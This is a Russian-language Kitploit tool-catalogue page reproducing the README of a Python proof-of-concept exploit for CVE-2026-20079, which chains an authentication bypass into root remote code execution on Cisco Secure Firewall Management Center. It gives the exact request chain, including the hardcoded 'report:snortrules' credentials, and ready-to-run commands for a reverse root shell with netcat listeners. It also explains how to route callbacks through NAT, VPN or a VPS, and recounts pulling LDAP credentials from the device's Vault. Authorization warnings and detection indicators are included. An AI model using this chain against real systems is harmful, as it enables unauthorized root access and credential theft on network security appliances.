Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-20079 — Реализует цепочку CVE-2026-20079 «обход аутентификации → RCE с правами root» против Cisco Secure FMC с использованием режимов fingerprint, check, proof и интерактивного эксплойта. | Kitploit
Инструменты/GitHubGitHub/cyberauth/cve-2026-20079
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияРазработка Полезной Нагрузки
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

Реализует цепочку CVE-2026-20079 «обход аутентификации → RCE с правами root» против Cisco Secure FMC с использованием режимов fingerprint, check, proof и интерактивного эксплойта.

Репозиторий
2 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-20079 Cisco Secure FMC PoC

Python-эксплойт для публично задокументированной цепочки атак обхода аутентификации до получения root и удалённого выполнения кода в Cisco Secure Firewall Management Center, известной как CVE-2026-20079.

Это не новая уязвимость и не самостоятельно разработанная цепочка эксплойтов. Это чистая реализация последовательности запросов, опубликованной VulnCheck, с отдельными режимами: fingerprint, check, one-shot proof и интерактивный эксплойт.

Быстрая настройка

Требуется Python 3.10 или новее. В Linux или macOS:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help

root@kitploit:~
## Замените примеры адресов

Все значения `192.0.2.x` ниже — это зарезервированные документационные адреса. Они
являются заполнителями, а не обнаруженной информацией о цели, и должны быть заменены
значениями из авторизованного тестирования. Команды не рассчитаны на работу
без изменений.

| Пример | Значение | Что использовать вместо |
| --- | --- | --- |
| `https://192.0.2.10` | URL целевой FMC | Точные авторизованные схема, адрес и порт FMC |
| `192.0.2.20` | Адрес, на который FMC подключается обратно | IP-адрес или DNS-имя слушателя оператора **доступное с FMC** |
| `192.0.2.0/24` | Пример CIDR для fingerprinting | Явно авторизованный сетевой диапазон |
| `4444` | TCP-порт обратного вызова/слушателя | Одобренный достижимый порт на системе обратного вызова |
| `0.0.0.0` | Куда слушатель привязывается на системе оператора | Оставьте его для прослушивания на всех локальных интерфейсах или используйте адрес одного локального интерфейса |
| `192.0.2.10` в `--expected-callback-source` | Ожидаемый источник обратного вызова | Адрес источника FMC, наблюдаемый слушателем; опустите этот параметр, если NAT делает его неопределённым |
| `http://127.0.0.1:8080` | Необязательный локальный перехватывающий прокси | URL прокси, который фактически слушает на системе оператора |

### Выбор `--callback-host`

Используйте это правило: **с точки зрения FMC, какой адрес достигает слушателя оператора?** Этот адрес и есть `--callback-host`.

| Сетевой путь | Типичное значение `--callback-host` |
| --- | --- |
| Оператор и FMC находятся в одной маршрутизируемой сети | Достижимый адрес `eth0`, `en0` или другой LAN-адрес системы оператора |
| Оператор подключается к FMC через VPN | Достижимый адрес VPN-интерфейса, например `tun0` или `utun`, если у FMC есть маршрут до него |
| Оператор находится за NAT или межсетевым экраном | Публичный IP-адрес или DNS-имя, выбранный порт которого перенаправляется на систему оператора |
| Используется туннель обратного вызова или VPS | Достижимая конечная точка туннеля или адрес VPS |

Не используйте `127.0.0.1` или `0.0.0.0` для `--callback-host`. `127.0.0.1` указывал
бы на саму FMC, тогда как `0.0.0.0` — это значение привязки слушателя, а не адрес
назначения. Убедитесь, что маршрутизация, правила межсетевого экрана и любые
перенаправления портов позволяют FMC достигать `--callback-host` на `--callback-port`.

`--listen-host` действует только локально: он выбирает интерфейс, на котором ожидает
встроенный слушатель. Его значение по умолчанию, `0.0.0.0`, прослушивает все
локальные интерфейсы. Он не сообщает FMC, куда подключаться. Поэтому `--callback-host`
и `--listen-host` могут различаться, особенно через NAT.

### Проработанный пример: оператор и FMC в одной сети

Предположим следующую вымышленную лабораторию, созданную только для документации:```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

Значения соответствуют команде следующим образом:

  • --target https://192.0.2.10 идентифицирует оцениваемый FMC.
  • --callback-host 192.0.2.20 — это адрес eth0 системы оператора, поскольку FMC может маршрутизировать к нему напрямую.
  • --callback-port 4444 — это одобренный TCP-порт, используемый для обратного вызова.
  • --listen-host 0.0.0.0 заставляет встроенный прослушиватель принимать обратный вызов на любом локальном интерфейсе, включая eth0.

Разовая проверочная команда для этого примера будет выглядеть так:```bash python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0

root@kitploit:~
Поток такой: оператор отправляет HTTPS-запросы на `192.0.2.10`, затем FMC
подключается обратно к `192.0.2.20:4444` оператора. В реальной оценке
замените оба IP-адреса и подтвердите обратный маршрут перед выполнением
команды. Если FMC не может достичь адреса `eth0` оператора, используйте
доступный VPN, NAT, туннель или VPS-адрес, описанный выше.

## Режимы и краткий справочник команд

| Режим | Эффект на сеть или цель | Что подтверждает успех |
| --- | --- | --- |
| `--fingerprint` | Только GET-запросы | Возможная веб-поверхность FMC; не подтверждение уязвимости |
| `--check` | Обновляет состояние сессии на стороне сервера | Обход аутентификации и доступ к токену действия |
| `--proof` | Записывает и запускает ограниченную полезную нагрузку обратного вызова | Выполнение от root и очистка, без интерактивной оболочки |
| `--exploit` | Записывает и запускает полезную нагрузку FIFO/netcat | Интерактивный обратный вызов от root или ограниченная проверка с `--auto-verify` |

Задайте три примерных значения один раз, заменив каждое на авторизованную цель,
адрес обратного вызова оператора и порт:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

Затем выберите ровно один режим:```bash

GET-only product fingerprint; start here

python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

Intrusive authentication-bypass check; changes server-side session state

python3 CVE-2026-20079.py --check --target "$FMC_URL"

One-shot root proof with integrated listener and verified cleanup

python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Interactive root callback; first start one listener in another terminal:

Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"

macOS built-in netcat: nc -lvn "$CALLBACK_PORT"

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Bounded root verification and cleanup instead of an interactive shell

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify

root@kitploit:~
> [!IMPORTANT]
> Фингерпринтинг — это эвристический этап идентификации продукта, а не проверка
> уязвимости. `MATCH` и `LIKELY` не доказывают, что целевая система затронута
> или эксплуатируема, а `NO_MATCH` не исключает FMC. Обратные прокси,
> настраиваемые страницы входа, средства контроля доступа, сетевые сбои
> или изменения продукта могут повлиять на результат.

Фингерпринтинг отправляет сетевые запросы, но не запускает цепочку обхода аутентификации или RCE. Перед использованием `--check`, `--proof` или `--exploit` прочитайте детали классификации, описания режимов и предупреждение о состоянии сеанса ниже.

> [!WARNING]
> Не запускайте `--check`, `--proof` или `--exploit` без явного письменного
> разрешения, охватывающего изменения на целевой системе и метод подтверждения. Прочитайте
> предварительные требования, ограничение состояния сеанса и требования к обратному вызову.

## Как работает цепочка эксплойта

Активная цепочка передаёт `CGISESSID=csm_processes` в `/login.cgi?logon=Continue`, использует опубликованные машинные учётные данные `report:snortrules`, извлекает `sf_action_id` из `/ui/user/general`, записывает скрипт в формате Makeself через `validateLicense` и запускает его через `SF::UI::DataObjectLibrary::upgradeReadinessCall`.

## Важное предварительное условие

Затронутая версия программного обеспечения не всегда эксплуатируема в момент тестирования. Сеанс `csm_processes`, созданный при загрузке, должен всё ещё существовать. Обычная активность в аутентифицированном пользовательском интерфейсе и очистка сеансов могут удалить его. Не перезагружайте рабочую FMC только для выполнения этого предварительного условия.

## Ограничение состояния сеанса

Режимы `--check`, `--proof` и `--exploit` повышают уровень серверного сеанса `csm_processes`. PoC не пытается вернуть этот сеанс в исходное частичное состояние, поскольку не существует документированной вендором операции понижения. Очистка cookie клиента не отменит изменение на стороне сервера, тогда как выход из системы, принудительное истечение срока действия или удаление записи из базы данных уничтожили бы сеанс, а не восстановили его, и могли бы помешать последующей проверке или поведению устройства. Функции автоматической очистки удаляют только временные файлы RCE; они не претендуют на восстановление состояния сеанса. `--fingerprint` не использует и не изменяет этот сеанс.

## Предварительные требования к среде выполнения целевой системы

Обе полезные нагрузки обратного вызова требуют:

- Совместимый `/bin/sh` в стиле POSIX.
- `rm` и `command`.
- Одна из утилит `nc`, `netcat` или `ncat`, доступная через `PATH` целевой системы.
- Исходящее TCP-соединение от FMC к указанному адресу и порту обратного вызова.

Интерактивная полезная нагрузка `--exploit` дополнительно требует `mkfifo`. Одноразовая полезная нагрузка `--proof` не создаёт FIFO и интерактивную оболочку.

Полезная нагрузка проверяет три поддерживаемых имени команд netcat перед попыткой выполнить обратный вызов. Если ни одной нет, она завершается через свои ловушки очистки. Поскольку ошибка возникает внутри слепого пути выполнения на стороне сервера, тестировщик наблюдает отсутствие обратного вызова, а не подробное удалённое сообщение об ошибке.

`--auto-verify` использует библиотеку socket языка Python и не требует локальной установки netcat. Режим ручного прослушивания может использовать `nc`, `ncat`, `socat` или другой выбранный оператором TCP-прослушиватель.

## Фингерпринтинг FMC только GET-запросами

Фингерпринтинг одного URL:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

Выполните фингерпринтинг файла, содержащего по одному URL, IP-адресу, имени хоста или значению host:port в строке:```bash python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10

root@kitploit:~
Снимите отпечаток явно авторизованного сетевого диапазона:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

Этот режим имеет низкое воздействие, но не является буквально пассивным: он отправляет сетевые запросы. Перенаправления глобально отключены, и инструмент следует только за фактическим HTTP-редиректом на точный путь /ui/login, который остаётся на исходной схеме, хосте и порту. Ответ страницы входа должен быть успешным (HTTP 2xx), прежде чем инструмент сообщит MATCH или LIKELY. Он не добавляет эксплойт-куки, не отправляет учётные данные, не шлёт POST-запросы, не следует внешним редиректам, не проверяет версию и не доказывает CVE-2026-20079. MATCH означает, что в успешном ответе наблюдался брендинг, LIKELY означает, что успешный маршрут входа с тем же origin совпал без брендинга в исходном HTML, а NO_MATCH означает, что ограниченный отпечаток не идентифицировал FMC.

Только --fingerprint принимает --targets-file или --network. Режимы check, proof и exploit намеренно остаются операциями с одной целью. Развёртывание файлов и CIDR дедуплицируется и ограничивается --max-hosts (по умолчанию 4096), а параллелизм ограничивается --workers (по умолчанию 10, максимум 100).

Интрузивная проверка обхода аутентификации```bash

python3 CVE-2026-20079.py
--target https://192.0.2.10
--check

root@kitploit:~
Для успеха требуются как ожидаемое обновление сессии с HTTP 302, так и ответ 200, содержащий специфичный для сессии `sf_action_id`.

PoC хранит полный токен действия в памяти для цепочки запросов, но выводит только сокращённый отпечаток. Обрабатывайте необработанные тела ответов, содержащие полный токен, как чувствительные данные сессии и не публикуйте их.

После успешной проверки серверная сессия остаётся обновлённой. Инструмент явно сообщает об этом и не пытается выполнить недокументированный откат.

## Разовое доказательство root-доступа

Используйте это, когда требуются доказательства выполнения от root, но интерактивная оболочка не нужна:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

Proof mode всегда запускает встроенный прослушиватель до запроса на запись файла. Цель отправляет рандомизированные маркеры начала/конца, id, имя хоста, имя каталога сборки и статус очистки /var/tmp/license.tmp, после чего отключается. Для успеха требуются uid=0(root) и подтверждённое отсутствие временного скрипта. Он не создаёт FIFO, не открывает интерактивный командный канал и не выполняет пост-эксплуатацию, зависящую от окружения.

Проверка root-оболочки

Запустите прослушиватель на авторизованной системе обратного вызова:```bash

Linux (common netcat variants)

nc -lvnp 4444

macOS built-in netcat

nc -lvn 4444

root@kitploit:~
Запустите одну команду прослушивателя, соответствующую системе обратного вызова, а не обе.

Затем запустите:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

Проверьте обратный вызов:```bash id hostname -f

root@kitploit:~
PoC выводит точный путь к временному FIFO-файлу. Удалите из оболочки FMC только эти два известных артефакта эксплойта:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

Автоматическая проверка root и очистка

PoC может запускать собственный callback-слушатель и автоматически выполнять ограниченную пост-эксплуатацию:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify

root@kitploit:~
`--auto-verify` выполняет только следующие действия через callback:

1. Запускает `id` и требует `uid=0(root)`.
2. Собирает `hostname -f` и имя каталога сборки FMC.
3. Удаляет точный рандомизированный FIFO, созданный этим запуском, и `/var/tmp/license.tmp`.
4. Проверяет, что оба пути отсутствуют.
5. Завершает callback.

Сгенерированный payload также удаляет `/var/tmp/license.tmp` сразу после начала выполнения и устанавливает обработчики очистки при выходе из оболочки/по сигналу для обоих временных путей. Автоматическая проверка по-прежнему выполняется и проверяет независимую явную очистку. Если запись предпринята, но callback или доказательство очистки неполны, PoC завершается с ненулевым кодом и выводит два точных пути, которые могут потребовать авторизованной ручной проверки.

Если адрес callback отличается от локального адреса привязки, укажите последний отдельно:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

Когда источником обратного вызова должен быть сам адрес FMC и при этом не используется NAT на стороне обратного вызова, слушатель может отклонять несвязанные соединения:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10

root@kitploit:~
Неполучение обратного вызова не позволяет различить пропатченную цель, отсутствующую загрузочную сессию, заблокированный исходящий трафик, недоступную/несовместимую реализацию netcat на стороне цели или другой сбой во время выполнения.

Автоматическое перечисление Vault, извлечение учетных данных, закрепление и латеральное перемещение намеренно исключены. Эти действия не требуются для доказательства CVE-2026-20079 и зависят от специфичных для окружения авторизации и конфигурации.

## Почему PoC использует FIFO/netcat

Первое ручное воспроизведение использовало обратный вызов Bash `/dev/tcp`. Обе стадии HTTP-эксплойта вернули ожидаемые ответы, но соединение так и не поступило. Это продемонстрировало, почему один лишь HTTP-статус не является доказательством выполнения и почему не следует предполагать наличие функций обратного вызова, специфичных для конкретной оболочки, на устройстве.

Успешная повторная попытка использовала шаблон совместимости FIFO/netcat, описанный в публичном исследовании. Поэтому данный PoC сразу переходит к этому проверенному шаблону и намеренно не повторяет неудачный метод `/dev/tcp`. Он проверяет наличие `nc`, `netcat` или `ncat`, требует фактического обратного вызова и `uid=0(root)` в автоматическом режиме и возвращает ненулевой код, когда отсутствует доказательство обратного вызова или очистки. Он не может определить точную причину отсутствия обратного вызова, поэтому сообщает о вероятных требованиях к среде выполнения и сети, а не утверждает, что цель пропатчена.

## Область постэксплуатации

Этот репозиторий автоматизирует CVE от неаутентифицированного состояния до проверенного root-обратного вызова и очистки. Он **не** автоматизирует сбор учетных данных, экспорт секретов или латеральное перемещение.

Во время одной авторизованной оценки полученный root-shell открыл доступ к локально запущенному сервису HashiCorp Vault на FMC. Локальный для устройства клиентский токен Vault предоставил доступ к настроенной записи учетных данных LDAP, и эти учетные данные впоследствии выполнили авторизованный bind LDAPS. Это наблюдаемый путь постэксплуатации из одного окружения, а не универсальное свойство или предпосылка CVE-2026-20079.

Смотрите [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) с историей исследования от первого лица: публичная предыстория, процесс ручной эксплуатации, неудачный обратный вызов, успешная совместимая нагрузка, наблюдаемый путь постэксплуатации, извлеченные уроки и последующая разработка этого инструмента.

## Необязательный прокси

Чтобы наблюдать запросы в перехватывающем прокси:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

Стандарт подтверждения

Один лишь HTTP 302 или HTTP 200 не доказывает root RCE. Рассматривайте проблему так:

  • Поверхность FMC считается обнаруженной, только если --fingerprint наблюдает ограниченное поведение входа или брендинг; само по себе это не является находкой уязвимости.
  • Обход аутентификации подтверждается только когда обновлённая сессия выдаёт валидный sf_action_id.
  • Root RCE подтверждается только когда управляемый слушатель получает callback и id сообщает uid=0(root).

Встроенный слушатель использует рандомизированные маркеры проверки для каждого запуска, ограничивает выводимые данные callback, опционально фильтрует источник callback и возвращает ненулевой статус, если root или очистка не могут быть подтверждены. Режим ручного слушателя не может подтвердить эти условия для Python-процесса; его успешный выход означает, что HTTP-цепочка была отправлена, а не то, что выполнение от root было независимо подтверждено.

Код возврата

  • 0: сканирование завершено по крайней мере с одним безошибочным результатом; --check подтвердил обход аутентификации; --proof или --auto-verify подтвердили root и очистку; или режим ручного слушателя успешно отправил ожидаемую HTTP-цепочку.
  • 1: цель не соответствовала ожидаемому ответу, проверка callback/root/очистки не удалась или произошла ошибка запроса/слушателя.
  • 2: недопустимые аргументы командной строки.
  • 130: прервано оператором. Если была предпринята запись полезной нагрузки, инструмент также выводит точные пути, чья очистка остаётся неподтверждённой.

Возможности обнаружения

  • POST к /login.cgi?logon=Continue с использованием cookie csm_processes и системного пользователя report.
  • Запросы к /ui/user/general сразу после обновления сессии.
  • Запросы validateLicense к /sajaxintf.cgi?rs=callServerFunc.
  • SF::UI::DataObjectLibrary::upgradeReadinessCall, отправляемый в /pjb.cgi.
  • Создание или выполнение /var/tmp/license.tmp, содержащего маркер Makeself.
  • Создание FIFO в /tmp, интерактивный /bin/sh, nc и неожиданный исходящий трафик от FMC.

Разработка и тестирование

Быстрая установка помещает зависимость времени выполнения из requirements.txt в изолированную виртуальную среду. Запустите модульные тесты стандартной библиотеки и локальные mock-интеграционные тесты, не обращаясь к публичной цели:```bash python3 -m unittest discover -s tests -v

root@kitploit:~
## References

- [Консультация Cisco](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [Технический анализ VulnCheck](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## Правовая информация

Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Данный Proof of Concept может изменять состояние сеанса на стороне сервера и выполнять команды с правами root. Вы несёте ответственность за получение разрешения, определение безопасного объёма и границы подтверждения, защиту собранных доказательств, а также соблюдение применимых законов, договорных обязательств и правил поставщика или программы. Автор и участники не дают разрешения на незаконный доступ, нарушение работы или сбор данных.

Программное обеспечение предоставляется "as is", без каких-либо гарантий, и авторы и правообладатели отказываются от ответственности в максимальной степени, допустимой законом. Полные условия см. в [лицензии MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE). Это уведомление об использовании не изменяет и не ограничивает лицензию.
Скачать инструмент